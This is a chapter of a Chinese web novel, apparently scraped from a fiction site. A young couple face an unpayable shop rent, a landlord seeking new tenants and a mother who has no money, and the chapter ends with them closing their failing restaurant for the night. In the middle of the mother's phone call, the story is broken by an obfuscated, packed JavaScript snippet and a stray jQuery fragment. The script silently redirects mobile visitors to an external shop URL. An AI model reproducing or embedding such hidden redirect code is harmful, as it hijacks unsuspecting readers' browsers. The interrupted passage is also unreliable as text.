文趣网 > 都市小说 > 后来的人 > 60. 房租
    房租到期的前一周,林深才想起来这件事。不是忘了,是人有时候会故意不去想。就像明知道抽屉里放着一张体检报告,只要不打开,就还能假装身体没事。

    那天下午,店里没客人。外面风很大,门口的宣传架被吹得晃来晃去。服务员坐在角落刷手机,后厨传来水龙头的声音。陆沉坐在吧台后面,手机倒扣在桌上,一根烟夹在手里,半天没抽。林深坐在收银台后面翻账本,翻到房租那一页的时候,手忽然停住了。押一付三,下周到期。她看着那几个字,像看见一只手从账本里伸出来,轻轻按住了她的喉咙。

    房租一个月六万,三个月十八万。以前她知道这个数字,也知道很贵,但那时候这个数字只是数字。到期了,父亲那边会处理,母亲那边会转钱,或者她说一句“缺多少”,很快就会补上。从来没有哪一次,房租真正变成一个问题。可这一次不一样。她把账本合上又重新打开,像数字会自己变小一样。没有,还是十八万。

    陆沉抬头看她:“怎么了?”

    林深没说话。过了几秒才说:“房租快到了。”

    空气忽然安静下来。水龙头停了,后厨有人咳了一声,外面的风把门缝吹得轻轻响。陆沉夹着烟的手停在半空。

    “什么时候?”

    “下周。”

    “多少?”

    林深看了他一眼。他其实知道,但还是问了。

    “十八。”

    陆沉低头笑了一下,笑得很轻,像听见一个很荒唐的笑话。“十八万。”他说,重复了一遍。不是疑问,只是把这个数字念出来,好像念出来以后它就会变得更真实。

    林深低头看账本,没有接话。店里的账户里没有十八万,别说十八万,连这个月员工工资、供应商货款、水电费加起来,都已经让她开始头疼。以前他们也缺钱,但缺钱不等于没办法。以前最大的区别是,背后有个人。那个人不一定经常出现,不一定说好听的话,不一定安慰她,甚至来店里也只是坐在门口,说一句“你费劲开个什么店”。可他在。他在的时候,很多事就不是问题。现在他不在了,问题才终于露出原本的样子——很大,很冷,没有商量余地。

    陆沉拿起手机又放下,像想打给谁,最后什么都没做。

    “你妈那边……”他说到一半停住,因为他也知道这句话不该问。

    林深看着账本:“她那边现在也乱。”

    陆沉沉默。烟烧到手指旁边,他才反应过来,低头把烟摁灭。烟灰缸里已经有很多烟头,塑料烟灰缸很轻,放在那里看起来特别廉价。林深忽然想起之前那个玻璃烟灰缸——重,透明,厚厚一层,砸在墙上的时候声音很响。她很快把这个念头压下去。不想,不能想。

    下午四点,房东打来电话,声音很客气。

    “林老板。”

    “嗯。”

    “下周租金到期了,你们还续吧?”

    林深握着手机看向陆沉,陆沉也看着她,两个人谁都没有说话。电话那头继续说:“我这边提前问一下,因为后面有人来看铺子,你们如果续,我就先不带人看。”

    林深忽然觉得有点刺耳。“后面有人来看铺子”——这句话像一把很小的刀,不大,但很准。原来在房东那里,这间店从来不是他们的店,只是一个铺子。他们走了,会有人进来。他们亏过的钱,装修过的墙,争吵过的夜晚,来福趴过的门口,父亲坐过的那张桌子,都不重要。铺子还在,人可以换。

    “我晚点回复你。”林深说。

    房东那边笑了一下:“好,那你们尽快啊。”

    电话挂断,店里重新安静下来。陆沉问:“他说什么?”

    “问续不续。”

    “你怎么说?”

    “晚点回复。”

    “有人要看?”

    “嗯。”

    陆沉没再说话。他坐在那里,脸色一点点沉下去。不知道过了多久,他忽然说:“他们倒是挺快。”林深没有回答。其实所有人都很快——供应商催款很快,银行催款很快,亲戚要钱很快,房东找下家也很快。慢的只有他们。他们慢慢亏,慢慢等,慢慢相信,慢慢把一年多熬成一个笑话。

    傍晚的时候店里来了两桌客人,一桌点了定食,一桌点了寿喜锅。服务员终于忙起来一点,后厨也有了声音——锅气、碗碟、点单机,那些声音一出现,店里就像活了一会儿。林深站在收银台后面看着客人吃饭,忽然觉得特别不真实。这家店明明还亮着灯,还有人进来,还有菜单,还有厨师,还有收银台,还有来福趴在门口。可她已经知道,它活不了多久了。这种感觉很奇怪,像提前参加一个人的葬礼,那个人还坐在那里说话,还在吃饭,还在笑,可你知道时间到了。

    晚上八点,陆沉朋友发来消息问他要不要喝酒。陆沉看了很久,没回。过了一会儿他把手机扣在桌上,起身去了后厨。林深看见了,心里没有轻松。以前她会因为他没去喝酒而高兴,现在不会。因为她已经知道,不喝酒不代表问题消失了,只是问题暂时没出声。

    晚上十点客人走光,营业额两千多。如果放在很早以前,这个数字会让他们高兴一下。今天没有,因为两千多放在十八万面前,轻得像一张纸。服务员下班以后,店里只剩他们两个,还有来福。陆沉坐在吧台后面忽然开口:“要不我去借。”林深正在整理小票,动作停住。

    “借谁?”

    陆沉没说话。

    “老周?”

    还是没说话。

    “信用卡?”

    陆沉低头。林深看着他,忽然觉得很累。“别借了。”

    陆沉抬头:“那怎么办?”

    “我不知道。”

    “你现在只会说不知道。”

    这句话出来以后,空气忽然冷了一点。林深没有看他,继续整理小票。“因为我真的不知道。”

    陆沉站起来,椅子在地上划出声音。来福从门口抬起头看了他一眼,陆沉看见它,动作停了一下,像想起什么,最后又坐回去。他没有发火,只是坐在那里低着头,声音很闷。

    “我不想关。”

    “我知道。”

    “我真的不想关。”

    “我知道。”

    “这店关了,我就真的什么都没有了。”

    林深手里的小票被她捏得有点皱,她慢慢松开。“陆沉。”

    “嗯。”

    “不是你不想关,就能不关。”

    这句话很轻,却像砸在两个人中间。陆沉抬头看她,眼睛红着。“那你想关?”

    林深沉默了。她想吗?她当然不想。这家店从毛坯变成现在这样,每一盏灯,每一张桌子,每一本宣传册,都是她挑过的、改过的、坚持过的。她曾经真的以为这里会成为一件漂亮的作品——不是赚钱机器,是作品,是她的审美,是她的选择,是她救陆沉的办法,是父亲花出去的钱,是母亲一次次没有责备的沉默,是来福每天趴在门口等她打烊的日子。她怎么会想关。

    可不想有什么用。

    她看着陆沉,很久以后才说:“我想不想,已经不重要了。”

    陆沉忽然不说话了。店里安静下来,安静到能听见门外风吹过宣传架的声音。

    过了一会儿,林深的手机响了。母亲。她看了一眼,接起来。

    “妈。”

    电话那边声音很轻:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691750|207913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “在忙吗?”

    “不忙。”

    “店里怎么样?”

    林深愣了一下。母亲很少主动问店,尤其父亲出事以后,她自己已经乱成那样,更没精力问。林深看着账本,看着房租那一页,看着那十八万,忽然不知道该怎么回答。

    “还行。”她说。又是还行。

    电话那头沉默了一会儿。母亲说:“钱的事,你先别问我。”

    林深握着手机的手紧了一下。她没有问,一个字都没问。可是母亲已经先说了,这比她开口要钱更难受。

    “我知道。”林深说。

    “不是不给你。”母亲声音忽然有些哑。

    “我知道。”

    “家里现在也……”母亲说到一半停住。

    林深低下头:“我知道。”

    她说了三次“我知道”,每一次都是真的,也每一次都更疼。母亲在电话那边很久没有说话,最后只说:“你自己照顾好自己。”

    “嗯。”

    电话挂断以后,林深没有立刻放下手机。屏幕慢慢暗下去,映出她的脸,有点模糊。她忽然发现,自己甚至没有问母亲亲戚那边怎么样,没有问父亲有没有消息,没有问钱去了哪里。因为问了也没用。所有事情都像一团打结的线,越扯越乱,而她手里只剩这一头——房租,十八万,下周。

    陆沉看着她:“你妈怎么说?”

    “没钱。”

    这两个字说出口的时候,林深自己都愣了一下。因为以前她从来没有这么直接地说过。“没钱”这个词对她来说很陌生。从小到大,她不是没有见过钱,也不是没有花过钱。钱对她而言,更多时候是一种背景,是一层安全垫,是只要需要就会出现的东西。而现在,它第一次变成了一堵墙,挡在她面前,不高,但过不去。

    陆沉笑了一下,低头点烟。手有点抖,火机打了两次才点着。他吸了一口,忽然说:“挺好的。”

    林深看向他:“什么挺好?”

    “都没钱。”他说,“这样公平。”

    林深皱眉:“陆沉。”

    他笑了一下:“开玩笑。”可一点都不好笑。

    来福从门口站起来,慢慢走到林深脚边坐下。它最近总是这样,只要空气不对,就会自己过来。林深低头摸了摸它,它身上很暖,手放上去的时候像摸到一点还活着的东西。

    十一点半,他们开始关店。陆沉去后厨关灯,林深在前厅收拾账本。她把房租那一页折了一个很小的角,折完以后又觉得没必要,反正忘不了。她把账本放进抽屉,锁上,然后站在大厅里看了一圈。灯还亮着,桌椅摆得整整齐齐,宣传册码得很齐,菜单放在每张桌子的右上角。这一切都是她喜欢的样子——漂亮,统一,干净,体面。哪怕快结束了,也还是体面。她忽然有点想哭,不是因为钱,也不是因为亏损,是因为她终于明白,体面本身也需要钱撑着。灯要钱,食材要钱,员工要钱,房租要钱,连继续假装还有希望,也要钱。没有钱以后,很多东西会迅速露出原形。

    陆沉从后厨出来,看见她站在那里:“走吧。”

    林深点点头,抱起来福。来福有点困,脑袋搭在她肩膀上。他们关掉最后一盏灯,店里暗下来,门口风铃轻轻晃了一下。林深锁门的时候,忽然想起父亲来店里的那天。他站在这里看了很久——看灯,看吧台,看墙面,看来福,看她。那时候她以为他只是来看看。现在她忽然觉得,也许他早就知道——这家店如果没有他,根本撑不了多久。

    钥匙在锁孔里转了一圈,咔哒一声,门锁上了。风从街道尽头吹过来,门口的宣传架又被吹歪了一点。林深看见了。这一次,她没有去扶。